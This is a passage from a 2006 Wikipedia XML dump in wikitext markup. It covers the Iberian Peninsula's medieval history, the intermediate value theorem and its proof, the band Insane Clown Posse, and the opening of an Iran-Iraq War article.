In [[711]] CE, a [[Moors|Moorish]] [[Umayyad]] army from [[North Africa]] invaded [[Visigoth]] [[Christian]] [[Spain]]. Under their leader [[Tariq ibn-Ziyad]], they landed at [[Gibraltar]] and brought most of the Iberian Peninsula under Islamic rule in an eight-year campaign. [[Al-Andalus|Al-&amp;#702;Andalūs]] ([[Arabic language|Arabic]] '''الإندلوس''') is the Arabic name given the Iberian Peninsula by its [[Muslim]] conquerors.  

From the [[8th century|8th]] to the [[15th century|15th centuries]], parts of the Iberian peninsula were ruled by the [[Moors]] (mainly [[Berber]] with some [[Arab]]) who had crossed over from [[North Africa]]. Many of the ousted [[Goths|Gothic]] nobles took refuge in the unconquered north [[Kingdom of Asturias|Asturian highlands]]. From there they aimed to reconquer their lands from the Moors: this war of reconquest is known as the [[Reconquista]].
Christian and Muslim kingdoms fought and allied among themselves. The Muslim [[taifa]] kings competed in patronage of the arts, the [[Way of Saint James]] attracted pilgrims from all Western Europe and the [[Jews in Spain|Jewish population of Iberia]] set the basis of [[Sephardic]] culture.

In [[medieval times]] the peninsula housed many small states including [[Castille]], [[Aragon]], [[Kingdom of Navarre|Navarre]], [[Kingdom of León|León]] and [[Portugal]]. The peninsula was part of the Islamic [[Almohad]] empire until they were finally uprooted.  The last major Muslim stronghold was [[Granada]] which was eliminated by a combined Castillian and Aragonese force in [[1492]], these small states gradually amalgamated over time, until the end of the [[Napoleonic Wars]] (including the [[Peninsular War]]) in [[1815]]. At that point the modern position was reached and the peninsula now consists of the countries of [[Spain]] and [[Portugal]] (excluding their islands - the Portuguese [[Azores]] and [[Madeira Islands]] and the Spanish [[Canary Islands]] and [[Balearic Islands]]; and the Spanish possessions of [[Ceuta]] and [[Melilla]]), [[Andorra]], and the territory of [[Gibraltar]].

== External links==
*[http://www.iberianature.com Iberianature]A guide to the environment, geography, climate, wildlife, natural history and landscape of Iberia
*[http://www.arqueotavira.com/Mapas/Iberia/Populi.htm Detailed map of the Pre-Roman Peoples of Iberia (around 200 BC)]

[[Category:Geography of Europe]]
[[Category:Geography of Portugal]]
[[Category:Geography of Spain]]
[[Category:Iberian Peninsula| ]]
[[Category:Peninsulas]]

[[ar:شبه جزيرة أيبيريا]]
[[an:Peninsula Iberica]]
[[ast:Península Ibérica]]
[[bg:Пиренейски полуостров]]
[[be:Пірэнэйская паўвыспа]]
[[ca:Península Ibèrica]]
[[da:Den Iberiske Halvø]]
[[de:Iberische Halbinsel]]
[[es:Península Ibérica]]
[[eo:Iberio]]
[[eu:Iberiar penintsula]]
[[fr:Péninsule Ibérique]]
[[gl:Península Ibérica]]
[[ko:이베리아 반도]]
[[io:Iberia]]
[[ia:Peninsula iberic]]
[[is:Íberíuskaginn]]
[[it:Penisola iberica]]
[[he:חצי האי האיברי]]
[[la:Iberia]]
[[nl:Iberisch Schiereiland]]
[[ja:イベリア半島]]
[[no:Den iberiske halvøy]]
[[pl:Półwysep Iberyjski]]
[[pt:Península Ibérica]]
[[ru:Пиренейский полуостров]]
[[sl:Iberski polotok]]
[[sv:Iberiska halvön]]
[[vi:Bán đảo Iberia]]
[[zh:伊比利亚半岛]]</text>
    </revision>
  </page>
  <page>
    <title>Intermediate value theorem</title>
    <id>14884</id>
    <revision>
      <id>41645094</id>
      <timestamp>2006-02-28T19:34:26Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Lilchicklet007|Lilchicklet007]] ([[User talk:Lilchicklet007|talk]]) to last version by 213.10.11.73</comment>
      <text xml:space="preserve">In [[analysis]], the '''intermediate value theorem''' is either of two theorems of which an account is given below.

==Intermediate value theorem==
[[Image:Intermediatevaluetheorem.png|thumb|327px|Intermediate Value Theorem]]
The '''intermediate value theorem''' states the following: Suppose that ''I'' is an [[interval (mathematics)|interval]] [a, b] in the [[real number|real numbers]] '''R''' and that ''f'' : ''I'' → '''R''' is a [[continuous function|continuous]] [[function (mathematics)|function]]. Then the image set ''f'' ( ''I'' ) is also an interval, and either it contains [''f''(''a''), ''f''(''b'')], or it contains [''f''(''b''), ''f''(''a'')]. I.e.
* ''f'' ( ''I'' ) ⊇  [''f'' (''a''), ''f'' (''b'')],
or
* ''f'' ( ''I'' ) ⊇  [''f'' (''b''), ''f'' (''a'')].

It is frequently stated in the following equivalent form: Suppose that ''f'' : [''a'', ''b''] → '''R''' is continuous and that ''u'' is a real number satisfying  ''f'' (''a'') &lt; ''u'' &lt; ''f'' (''b'') or ''f'' (''a'') &gt; ''u'' &gt; ''f'' (''b''). Then for some ''c'' in (''a'', ''b''),  ''f''(''c'') = ''u''.

This captures an intuitive property of continuous functions: given ''f'' continuous on [1, 2], if ''f'' (1) = 3 and ''f'' (2) = 5 then ''f'' must be equal to 4 somewhere between 1 and 2. It represents the idea that the graph of a continuous function can be drawn without lifting your pencil from the paper.

The theorem depends on the completeness of the [[real number]]s. It is false for the [[rational number]]s '''Q'''. For example, the function ''f'' (''x'') = ''x''&lt;sup&gt;2&lt;/sup&gt;-2 from '''Q''' to '''Q''' satisfies ''f'' (0) = -2, ''f'' (2) = 2. However there is no rational number ''x'' such that ''f'' (''x'') = 0.

=== Proof ===
We shall prove the first case ''f'' (''a'') &lt; ''u'' &lt; ''f'' (''b''); the second is similar.

Let ''S'' = {''x'' in [a, b] : ''f''(''x'') ≤ ''u''}. Then ''S'' is non-empty (as ''a'' is in ''S'') and bounded above by ''b''. Hence by the [[completeness]] property of the real numbers, the [[supremum]] ''c'' = sup ''S'' exists. We claim that ''f'' (''c'') = ''u''.

Suppose first that ''f'' (''c'') &gt; ''u''. Then ''f'' (''c'') - ''u'' &gt; 0, so there is a δ &gt; 0 such that | ''f'' (''x'') - ''f'' (''c'') | &lt; ''f'' (''c'') - ''u'' whenever | ''x'' - ''c'' | &lt; δ, since ''f'' is continuous. But then ''f'' (''x'') &gt; ''f'' (''c'') - ( ''f'' (''c'') - ''u'' ) = ''u'' whenever | ''x'' - ''c'' | &lt; δ and then ''f'' (''x'') &gt; ''u'' for ''x'' in ( ''c'' - δ, ''c'' + δ) and thus ''c'' - δ is an upper bound for ''S'' which is smaller than ''c'', a contradiction.

Suppose next that ''f'' (''c'') &lt; ''u''. Again, by continuity, there is a δ &gt; 0 such that | ''f'' (''x'') - ''f'' (''c'') | &lt; ''u'' - ''f'' (''c'') whenever | ''x'' - ''c'' | &lt; δ. Then ''f'' (''x'') &lt; ''f'' (''c'') + ( ''u'' - ''f'' (''c'') ) = ''u'' for ''x'' in ( ''c'' - δ, ''c'' + δ) and there are numbers ''x'' greater than ''c'' for which ''f'' (''x'') &lt; ''u'', again a contradiction to the definition of ''c''.

We deduce that ''f'' (''c'') = ''u'' as stated.

=== History ===

For ''u''=0 above, the statement is also known as ''Bolzano's theorem''; this theorem was first stated by [[Bernard Bolzano]], together with a proof which used techniques which were especially rigorous for their time but which are now regarded as non-rigorous.

===Generalization===

The intermediate value theorem can be seen as a consequence of the following two statements from [[topology]]:
* If ''X'' and ''Y'' are [[topological space]]s, ''f'' : ''X'' → ''Y'' is continuous, and ''X'' is [[connectedness|connected]], then ''f''(''X'') is connected.
* A subset of '''R''' is connected if and only if it is an interval.

===Example of Use in Proof===

The theorem is rarely applied with concrete values; instead, it gives some characterization of continuous functions. For example, let &lt;math&gt;g(x) = f(x) - x&lt;/math&gt; for ''f'' continuous over the reals.  Also, let ''f'' be bounded (above and below).  Then we can say ''g'' equals 0 at least once.  To see this, consider the following:

Since ''f'' is bounded, we can pick a &gt; sup{f(x)} and b &lt; inf{f(x)}.  Clearly g(a) &lt; 0 and g(b) &gt; 0.  If ''f'' is continuous, then ''g'' is also continuous.  Since ''g'' is continuous, we can apply the intermediate value theorem and state that ''g'' must take on the value of 0 somewhere between a and b.  This result proves that any continuous bounded function must cross the function, ''x''.

===Converse is false===

Suppose ''f'' is a real-valued function defined on some interval ''I'', and for every two elements ''a'' and ''b'' in ''I'' and for every ''u'' between ''f''(''a'') and ''f''(''b'') there exists a ''c'' between ''a'' and ''b'' such that ''f''(''c'') = ''u''. Does have ''f'' have to be continuous? The answer is no; the converse of the intermediate value theorem fails. As an example, take the function ''f''(''x'') = sin(1/''x'') for ''x'' non-zero, and ''f''(0) = 0. This function is not continuous as the [[limit (mathematics)|limit]] for ''x'' → 0 does not exist; yet the function has the above intermediate value property. 

Historically, this intermediate value property has been suggested as a ''definition'' for continuity of real-valued functions; this definition was not adopted.

[[Darboux's theorem (analysis)|Darboux's theorem]] states that all functions that result from the [[derivative|differentiation]] of some other function on some interval have the intermediate value property (even though they need not be continuous).

==Intermediate value theorem of integration==

The intermediate value theorem of [[integration]] is derived from the [[mean value theorem]] and states:

If &lt;math&gt;f&lt;/math&gt; is a [[continuous function|continuous]] [[function (mathematics)|function]] on some interval &lt;math&gt;[a,b]&lt;/math&gt;, then the signed [[area (geometry)|area]] under the function on that interval is equal to the length of the interval &lt;math&gt;b-a&lt;/math&gt; multiplied by some function value &lt;math&gt;f(c)&lt;/math&gt; such that &lt;math&gt;a &lt; c &lt; b&lt;/math&gt;. I.e., 
:&lt;math&gt;\int_a^b f(x) \, dx = f(c)(b-a).&lt;/math&gt;

==External links==

* [http://www.cut-the-knot.org/Generalization/ivt.shtml Intermediate value Theorem - Bolzano Theorem] at [[cut-the-knot]]

[[Category:Calculus]]
[[Category:Mathematical theorems]]

[[de:Zwischenwertsatz]]
[[fr:Théorème des valeurs intermédiaires]]
[[he:משפט ערך הביניים]]
[[ko:중간값 정리]]
[[nl:middelwaardestelling]]
[[pl:Twierdzenie Darboux]]
[[fi:Jatkuvien funktioiden väliarvolause]]
[[vi:Định lý Bolzano]]</text>
    </revision>
  </page>
  <page>
    <title>Insane Clown Posse</title>
    <id>14885</id>
    <revision>
      <id>42089161</id>
      <timestamp>2006-03-03T19:28:43Z</timestamp>
      <contributor>
        <ip>69.254.140.177</ip>
      </contributor>
      <text xml:space="preserve">The '''Insane Clown Posse''' ('''ICP''') are a two-piece [[horrorcore]] [[Rap music|rap]] / [[rapcore]] group originally from [[Wayne, Michigan]], consisting of Violent J ([[Joseph Bruce]]) and Shaggy 2 Dope ([[Joseph Utsler]]). They almost always professionally display themselves in full black and white &quot;[[evil clown]]&quot; makeup that could be compared to the [[corpse paint]] of [[black metal]] musicians or the [[makeup]] of the rock group [[KISS (band)|KISS]]. Violent J's makeup is usually drawn as a smiling face, while Shaggy's is an angry face.  The group is also well known for on-stage antics such as dousing the audience with [[Faygo]]&amp;ndash;brand [[cola|soda]] at its shows and lighting fires.

== Early history ==
The first incarnation of the group was in [[1988]] as The JJ Boys, a trio that  Violent J, Shaggy, and John Utsler (a.k.a. John Kickchazz) had formed while still in their early teens. This later became &quot;Inner City Posse&quot;, and consisted of three members: J, Shaggy, and Kickchazz (Shaggy's brother) (who performed on Inner City Posse [[album (music)|album]]s ''Bassment Cuts'' and ''[[Dog Beats]]'').  Kickchazz left the group before ''[[Carnival of Carnage]]'' was released. J and Shaggy still wanted ICP to be a trio, and so brought in a local rapper called Greez-E, who appeared on ''[[Beverly Kills 50187]]''. He subsequently left as well, and ICP have been a duo ever since, forming [[Psychopathic Records]] with manager [[Alex Abbiss]] in [[1991]].

== The six Joker's Cards ==

In [[1992]], ICP released ''Carnival of Carnage'', which they designated as &quot;The First Joker's Card&quot;. The group hinted at the next five major-release albums being numbered in this fashion. They also stated that &quot;the end of time will consume us all&quot; once the Sixth Joker's Card was revealed, and that their fans would know all there is to know about [[The Dark Carnival]] (alternatively referred-to as &quot;The Dead Carnival&quot; on ''[[The Riddlebox]]'')&amp;mdash; something the band refers to on every album as a powerful force which has spoken to them and is directly opposed to [[the Devil]].  In ICP's songs, the Dark Carnival often took the shape of a travelling carnival road-show, where instead of harmless entertainment, the clowns and rides serve up death and pain as punishment for the wicked.
[[Image:icp-the_riddlebox-cover-200.jpg|right|thumb|Cover of [[The Riddle Box]]]]

The title and theme for each Joker's Card revealed a different &quot;persona&quot; of the Dark Carnival, directing the listener to confront both the sins and mortality of the self and of the world, in the form of fables about the Jokers' purpose within the Carnival. For example, [[The Great Milenko]], a magician, represents the illusions which people may present themselves in order to justify their actions. [[The Amazing Jeckel Brothers]] appear upon one's death and juggle fireballs, one for every sin committed in one's life. Jack represents one's evil spirit while Jake represents one's good spirit. If Jake drops any one ball thrown to him by Jack, then the newly-departed is banished to Hell. This concept of inner-duality is expanded-upon in the Sixth Joker's Card.

===The Sixth Joker's Card===

As explained by Violent J: &quot;There is one Sixth Joker's Card, but there are two versions.&quot; While the face of the Sixth Joker's Card was &quot;The Wraith&quot; (or simply [[Death (personification)|Death]]), The Wraith had two &quot;exhibits&quot; to present to all who will listen, ''[[The Wraith: Shangri-La]]'' (Heaven) and ''[[The Wraith: Hell's Pit]]'' (Hell). Each of The Wraith's exhibits was given its own album. It was up to each listener, ICP claimed, to decide which version of &quot;The Wraith&quot; is the correct one.

In November [[2002]], ten years after the first Joker's Card was released, in the final track of [[The Wraith: Shangri-La]], ICP revealed their big secret &amp;mdash; that nearly all the songs they wrote were masked with [[subliminal message]]s that have been pointing to one thing: &quot;Truth is, we follow [[God]], we've always been behind Him. The Carnival is God, and may all Juggalos find Him! We're not sorry if we tricked you. We don't care what happens now.&quot;

ICP's ultimate message to the world was that we all have a choice as to where we will spend our afterlife, and that choice is made with every right and wrong deed one does in one's life. The choice of preference between ''The Wraith: Shangri-La'' and ''The Wraith: Hell's Pit'' appears to be a metaphor for that decision.

== Fan base and criticism ==

Fans of ICP are called [[Juggalo]]s (although Juggalo is not a gender based word, female fans are sometimes called Juggalettes to avoid some confusion, i.e. Two juggalos got married) and a [[Juggaho]] is a poser trying to act like a Juggalo.  This derived from one of Violent J's habits, which is constantly inventing strange names and personas for himself in their songs.  One of these personalities is &quot;The Juggla&quot;, a psychotic carnival juggler, and somehow the fans came to be known as &quot;Juggalos&quot; in homage.  Even more common is the sight of Juggalos painting their faces in clownface, the unofficial Juggalo badge.

ICP have been voted the worst band of any genre of music in various [[magazine]] polls including [[Spin Magazine|Spin]] and [[Rolling Stone]].  This has not discouraged the group, and they repeatedly state they do not care what music critics think of their work.  In return, Spin, Rolling Stone, and [[Vibe]] have been singled out for mockery in several ICP raps.

.  In an interview in PBS's Frontline documentary series, [http://www.pbs.org/wgbh/pages/frontline/shows/cool/ Merchants of Cool],[[Violent J]] stated:
:&quot;Everybody that likes our music feels a super connection. [...] they feel so connected to it because it's &amp;mdash; it's exclusively theirs. See, when something's on the radio, it's for everybody, you know what I mean? It's everybody's song. 'Oh, this is my song.' That ain't your song. It's on the radio. It's everybody's song. But to listen to ICP, you feel like you're the only one that knows about it.&quot; &quot; icp is the closest thing some of my friends have known to family, it's like a getaway from reality, whenever your feeling low just throw on your headphones and let the music take you.... it's not about all the killing and violence, that just makes them different from all the other mainstream groups.&quot;

On [[February 1]], [[2006]], self-described Juggalo [[Jacob D. Robida]] attacked people in a gay bar with a handgun and a [[hatchet]], a weapon featured on the logo of ICP's record label, Psychopathic Records.  Mr. Robida wore a swastika tattoo and flaunted [[nazism|Nazi]] insignia and paraphernalia on his website, and was a former teen cadet in the Junior Police Academy.  [http://news.bostonherald.com/localRegional/view.bg?articleid=124233]  On [[February 5]], he killed a traffic officer at a routine stop. When police stopped him, he killed the passenger in the car and opened fire on the police. He shot himself with the same gun used in the bar shooting during the standoff. [http://en.wikinews.org/wiki/Manhunt_on_for_gay_bar_attacker_in_Massachusetts]

On [[February 7]], [[2006]], Insane Clown Posse released a statement on the Robida attacks.  [http://www.insaneclownposse.com/page.php?page_id=icp_news] &lt;!-- Note that this link is not permanent and I can't figure out how to link to their news archive, so it won't last long.  Best I could do. --&gt;  Alex Abbiss, ICP's manager, extended ICP's condolences and prayers to the families of the victims.  &quot;This guy had problems,&quot; said Abbiss, and &quot;anyone going into a bar swinging an axe and shooting a gun ... would clearly have to be insane and out of their mind to do this.&quot;  He went on, &quot;it's quite obvious that this guy had no clue what being a Juggalo is all about. If anyone knows anything at all about ICP, then you know that they have never, ever been down or will be down with any racist or bigotry bull****.&quot;  (This was in reference to ICP's long-standing mockery and contempt for racists in their song lyrics).  Abbiss claimed ICP was being scapegoated by the media.

== Professional wrestling ==

The Insane Clown Posse have long been involved in [[professional wrestling]]. In [[1998]] they were brought in by the then [[World Wrestling Federation]], now known as the WWE, in a musical role for the stable The Oddities, a group of freak wrestlers led by Golga, a masked [[John Tenta]], formerly known as Earthquake. ICP entered [[World Championship Wrestling|WCW]] in [[1999]] and teamed with wrestler [[Ian Hodgkinson|Vampiro]], forming the group the Dead pool along with [[Raven]]. It was the first time fans saw ICP in a nationwide wrestling role, making their debut with a [[run-in (professional wrestling)|run-in]] on [[Oscar Gutierrez|Rey Mysterio]] and [[Konnan]]. One of their more infamous moments in WCW was a handicap hardcore match against [[Mike Alfonso|Mike Awesome]] (using the That 70s Guy moniker) where in a spot gone wrong Shaggy 2 Dope was [[powerbomb]]ed on top of the &quot;70's Bus&quot; and slid off the side falling to the ground below. They also run their own independent promotion, JCW or [[Juggalo Championshit Wrestling]]. JCW was modeled after the [[backyard wrestling]] of Violent J and Shaggy 2 Dope's youth, as well as the Japanese hardcore wrestling matches featured in bootleg-style videos released by ICP. They are also main characters in the video game series ''Backyard Wrestling'' by [[Eidos Interactive|Eidos]] for the [[Microsoft Xbox]] and [[Sony]] [[PlayStation 2]]. ICP was also in [[Extreme Championship Wrestling]], [[Xtreme Pro Wrestling]], and [[Total Nonstop Action Wrestling]].
ICP are also involved in TNA's first ever house show in Plymoth, Michigan were they will help to heavily promote the event, as well as wrestling in it.

=== Signature moves ===
*Shaggy 2 Dope = [[Professional wrestling aerial techniques#Diving leg drop|'''''Triple Lindy From The Rafters''''' (Top Rope Leg Drop)]]  
*Violent J =  [[Moonsault|'''''720 Moonflip''''' (Moonsault)]]

== Discography ==

*The Pre-ICP Days
#''Party at the Top of the Hill'' (1989 &amp;mdash; single) * [[The JJ Boys]]
#''Southwest Song'' (1989? &amp;mdash; single) * [[The JJ Boys]]
#''Enter the Ghetto Zone'' (1990 &amp;mdash; LP) * [[Violent J]]
#''Ghetto Territory'' (1990 &amp;mdash; LP) * [[Inner City Posse]]
#''[[Intelligence and Violence]]'' (1990 &amp;mdash; EP) * [[Violent J]] and [[D-Lyrical]]
#''[[Bass-ment Cuts]]'' (1991 &amp;mdash; LP) * [[Inner City Posse]]
#''[[Dog Beats]]'' (1991 &amp;mdash; EP) * [[Inner City Posse]]
#''Gangsta Codes'' (1992 &amp;mdash; unreleased, became Carnival of Carnage) * [[Inner City Posse]]

*Insane Clown Posse &amp;mdash; The Joker Card albums
#''[[Carnival of Carnage]]'' (1992)
#''[[The Ringmaster]]'' (1994)
#''[[The Riddlebox]]'' (1995)
#''[[The Great Milenko]]'' (1997) (Hollywood Records (Disney))
#''[[The Great Milenko]]'' (1998) (Island Records)
#''[[The Amazing Jeckel Brothers]]'' (1999)
#''[[The Wraith: Shangri-La]]'' (with bonus DVD of live concert) (2002)
#''[[The Wraith: Shangri-La]]'' (with bonus DVD of [[Gathering of the Juggalos|Gathering]] seminar) (2002)
#''[[The Wraith: Hell's Pit]]'' (with bonus DVD of the Bowling Balls video) (2004)
#''[[The Wraith: Hell's Pit]]'' (with bonus DVD containing Real Underground Baby and Bootlegged in Denver) (2004)
In the years between the fifth and sixth Joker's Cards, several sites announced the sixth as being &quot;The Red Magician&quot;, even offering a track listing, featuring a wealth of otherwise unknown ICP tracks.  Whether this was a hoax or an unreleased album is still unknown.

*Insane Clown Posse &amp;mdash; The Side Shows / EPs
#''[[Beverly Kills 50187 EP]]'' (1993)
#''[[The Terror Wheel EP]]'' (1994)
#''[[Carnival X-Mas '94]]'' (1994)
#''[[Tunnel of Love EP]]'' (1996)
#''[[A Carnival XMas '97]]'' (1997)
#''[[The Pendulum EP]]'' (2000 - 2002)

*Insane Clown Posse &amp;mdash; the Necromonicon
#''[[Bizzar]]'' (2000)
#''[[Bizaar]]'' (2000)

*Insane Clown Posse &amp;mdash; the new era
#''[[The Calm EP]]'' (2005)
#''[[The Tempest (album)|The Tempest]]'' (2006)

*Insane Clown Posse &amp;mdash; compilations
#''[[Forgotten Freshness (Original)]]'' (1995)
#''[[Mutilation Mix]]'' (1997)
#''[[Mystic Wonders]]'' (1997) - bootleg; an unofficial follow-up to &quot;Forgotten Freshness&quot;
#''[[Forgotten Freshness Volume 1 &amp; 2]]'' (1998)
#''[[Psychopathics from Outer Space]]'' (1999)
#''[[Forgotten Freshness Volume 3]]'' (2001)
#''[[Psychopathics from Outer Space 2]]'' (2003)
#''[[Forgotten Staleness]]'' (2004) - bootleg
#''[[Bootilation Mix]]'' (2005) - bootleg
#''[[Forgotten Freshness Volume 4]]'' (2005)

*Insane Clown Posse &amp;mdash; Hallowicked give-aways
#&quot;Dead Pumpkins&quot; (1994)
#&quot;Mr. Rotten Treats&quot; (1995)
#&quot;Witches &amp; Warlocks&quot; (1996)
#&quot;Mr. Johnson's Head (Remix)&quot; (1997)
#&quot;Pumpkin Carvers&quot; (with [[Twiztid]] &amp; [[Kottonmouth Kings]]) (1998)
#&quot;Sleepwalker&quot; (1999)
#&quot;Hallowicked 2000 Box Set&quot; (Includes [[Bizaar]], [[Bizzar]], [[Freek Show]], Hallowicked 2000 EP, Hallowicked shirt, Hallowicked sticker, Hallowicked flier, certificate of authenticity) (2000)
#&quot;Every Halloween&quot; (2001)
#&quot;Children of the Wasteland&quot; ([[Blaze Ya Dead Homie]]) (2001)
#&quot;Waited Till Halloween&quot; ([[Twiztid]]) (2001)
#&quot;Silence of the Hams&quot; ([[Violent J]] &amp; [[Esham]]) (2002)
#&quot;Dead Body Man 2002&quot; ([[Blaze Ya Dead Homie]]) (2002)
#&quot;Thug Pit&quot; (with [[Bone Thugs N Harmony]], [[Kottonmouth Kings]], [[Tech N9ne]], &amp; [[Esham]]) (2003)
#&quot;Murda Cloak&quot; (with [[Anybody Killa]]) (2004)
#&quot;Wicked Hellaween&quot; (2005)

*Insane Clown Posse &amp;mdash; singles, rare recordings, event tracks, etc.
#&quot;Fat Sweaty Betty&quot; (1995)
#&quot;Chicken Huntin&quot; (1995)
#&quot;Jokers Wild Sampler&quot; (1995)
#&quot;Halls of Illusions&quot; (1997)
#&quot;Psychopathic Sampler&quot; (1998)
#&quot;Hokus Pokus&quot; (1998)
#&quot;Join the Show&quot; (1998)
#&quot;Phat or Wack sampler&quot; (1999)
#[[Fuck the World (single)| Fuck the World]] (1999)
#&quot;Another Love Song&quot; (1999)
#&quot;Mad Professor&quot; (1999)
#&quot;Party Mix&quot; (1999)
#&quot;Jacob's Word&quot; (2000)
#&quot;Bizzar/Bizaar sampler&quot; (2000)
#&quot;Tilt-A-Whirl&quot; (2000)
#&quot;Let's Go All the Way&quot; (2000)
#&quot;Psychopathic Sampler '01&quot; (2001)
#&quot;[[The Wraith: Shangri-La sampler]]&quot; (2002)
#&quot;Homies&quot; (2003)

*Violent J and Shaggy solo
#''[[Fuck Off (Shaggy 2 Dope solo album)|Fuck Off]]'' (1994 - EP) * [[Shaggy 2 Dope]]
#''[[Wizard of the Hood EP]]'' (2003) * [[Violent J]]
#''[[Fuck the Fuck Off]]'' (2006) * [[Shaggy 2 Dope]]

===Filmography===
* [[Stranglemania]] (199?) This ultra rare [[VHS]] tape (now out of print) was the 1995 IWA [[King Of The Deathmatch]] tournament featuring Superleather, [[Cactus Jack]], [[Terry Funk]], and many more. Violent J and Shaggy dubbed over the commentary and added their own humorous [[commentary]], similar to those on their JCW tapes.
*Juggalo Championshit Wrestling: Volume 1,2 and 3
*Strangle-Mania 2
*The Shaggy Show - An internet based reality show from the road.  The concept was taken from an identically-named skit on the ''Amazing Jeckel Brothers'' album.
*Shockumentary - (DVD &amp; VHS) This is ICPs hard-to-find documentary. It features all the flavor of the documentary and five music videos.
*[[Big Money Hustlas]] (2000)
*[[Bootlegged In L.A.]] (2004)

===[[RIAA certifications]]===
#05/04/98 [[The Great Milenko]] - Gold
#07/23/98 [[Shockumentary]] - Gold
#04/21/99 [[The Great Milenko]] - Platinum
#09/30/99 [[Forgotten Freshness]] - Gold
#11/23/99 [[The Riddle Box]] - Gold
#01/06/00 [[The Amazing Jeckel Brothers]] - Gold
#04/04/01 [[Big Money Hustlas]] - Gold
#05/21/02 [[Shockumentary]] - Platinum
#09/17/02 [[The Ringmaster]] - Gold
#10/08/03 [[Bootlegged in L.A.]] - Gold
#06/07/04 [[The Ringmaster]]* - Gold
*[[The Ringmaster]] went gold twice, once on Island and the other on their independent release on [[Psychopathic Records]]. Source: [http://www.faygoluvers.net Faygoluvers]

==Chart positions==
===Albums===
 1997   The Great Milenko             The [[Billboard 200]]      No. 63
 1998   Forgotten Freshness, Vol. 1-2 The Billboard 200      No. 46
 1999   The Amazing Jeckel Brothers   The Billboard 200      No. 4
 2000   Bizaar                        The Billboard 200      No. 20
 2000   Bizzar                        The Billboard 200      No. 21
 2002   The Wraith: Shangri-La        The Billboard 200      No. 15
 2004   Hell's Pit                    The Billboard 200      No. 12
 2005   The Calm (EP)                 The Billboard 200      No. 32
 2005   Forgotten Freshness: Volume 4 The Billboard 200      No. 88

===Singles===
 1997	Santa's a Fat Bitch	     The [[Billboard Hot 100]]      No. 67

==External links and references==

* [http://www.insaneclownposse.com/ Insane Clown Posse official site]
* [http://www.psychopathicrecords.com/ Psychopathic Records official site (portal)]
* [http://www.faygoluvers.net Faygoluvers.net The number 1 Juggalo source for everything Psychopathic, Featuring Scottie D, Dfens, Carnie, Southeast Strangla, Bonko, Dank, and Freekjoka]
* [http://www.wijuggalos.com Wisconsin Juggalos The number 1 Wisconsin Juggalo Website brought to you by the former Juggalo-empire crew]
* [http://www.paoracle.com/?archive=77 An Intelligent Look at the Insane Clown Posse]
* [http://www.hallsofillusions.com/mainsite/icp/5602 Halls of Illusions: The Story of Insane Clown Posse]
* [http://www.juggalos4life.com What Is A Juggalo ?: Juggalos Juggalos Juggalos come one come all]
* [http://www.hatchetradio.com HatchetRadio.com--The Best in the Biz]
*  [http://sbdjuggalos.tripod.com SBDjuggalos A great fansite that strives on accurate lyrics] 
* ''Behind the Paint'', Violent J with Hobey Echlin. (ISBN 09741846083)

[[Category:American hip hop groups|Insane Clown Posse]]
[[de:Insane Clown Posse]]
[[pl:Insane Clown Posse]]</text>
    </revision>
  </page>
  <page>
    <title>Iran-Iraq War</title>
    <id>14889</id>
    <revision>
      <id>41999965</id>
      <timestamp>2006-03-03T03:25:41Z</timestamp>
      <contributor>
        <ip>69.229.179.134</ip>
      </contributor>
      <comment>/* U.S.-Iraqi arms transfers in the war */</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Iran-Iraq War
|campaign=
|image=
|caption=
|date=[[22 September]] [[1980]]&amp;#8211;[[20 August]] [[1988]]
|place=[[Persian Gulf]], Iranian-Iraqi border
|casus=
|result=[[stalemate]]; [[United Nations]]-mandated [[cease-fire]]
|combatant1=[[Image:Flag of Iran.svg|100ppx]] [[Iran]]
|combatant2=[[Image:Flag of Iraq (1963-1991).svg|100ppx]] [[Iraq]] 
|commander1=
|commander2=
|strength1=
|strength2=
|casualties1=Est. 450,000-950,000 (incl. 100,000 [[Kurd]]s)
|casualties2=Est. 450,000-950,000
}}
{{Campaignbox Persian Gulf Wars}}

The '''Iran-Iraq War''', also called the '''First [[Persian Gulf]] War''', or the '''Imposed War''' (جنگ تحمیلی, ''Jang-e-tahmīlī'') in Iran and '''Saddām's Qādisiyyah''' (قادسيّة صدّام, ''Qādisiyyat Saddām'') in Iraq, was a [[war]] between the armed forces of Iraq and Iran lasting from September [[1980]] to August [[1988]]. It was commonly referred to as the '''(Persian) Gulf War''' until the [[Persian Gulf War|Iraq-Kuwait conflict]] ([[1990]]&amp;ndash;[[1991|91]]), which became known as the Second Persian Gulf War and later simply the '''Persian Gulf War'''.

It has been called &quot;the longest conventional warfare of the 20th century&quot;, and cost 1 million casualties and $US 1.19 Trillion. &lt;small&gt;(''[[Iran-Iraq War#References|D. Hiro]]'')&lt;/small&gt;

The war began when [[Iraq]] invaded [[Iran]] on [[22 September]] [[1980]] following a long history of border disputes. The conflict saw early successes by the Iraqis, but before long they were repulsed and the conflict stabilized into a long war of attrition. The [[United Nations Security Council]] called upon both parties to end the conflict on multiple occasions, but a ceasefire was not agreed to until [[20 August]] [[1988]], and the last [[prisoner of war|prisoners of war]] were not exchanged until [[2003]]. The war irrevocably altered politics in the area, playing into wider global politics and leading to the 1990 Iraqi invasion of [[Kuwait]].  The war is also noted for extensive use of chemical weapons by Iraqi forces.

==Background==
[[Image:Iraqi_stamp.jpg|right|250px|frame|Iraqi commemorative stamp depicting the victorious [[Battle of al-Qādisiyyah]] in the [[Islamic conquest of Iran]] and its parallel during the Iran-Iraq war.]]Although the Iran-Iraq war of 1980&amp;ndash;1988 was a war over dominance of the [[Persian Gulf]] region, the roots of the war go back many centuries. There has always been a rivalry between various kingdoms of [[Mesopotamia]] (modern [[Iraq]]) and [[Persians|Persia]] (Iran).
Before the [[Ottoman empire]], Iraq was part of Persia ruled under the [[Aq Qoyunlu]] dynasty. The rising power of the Ottomans put an end to this when [[Murad IV]] annexed what is today Iraq from the weakening [[Safavid]] Persia in 1638. The border disputes between Persia and the Ottomans never ended however: between 1555 and 1918, Persia and Turkey signed no less than 18 treaties re-addressing their disputed borders. Modern Iraq was created with the British involvement in the region and the final collapse of the Ottoman empire, hence inheriting all the disputes with Persia.

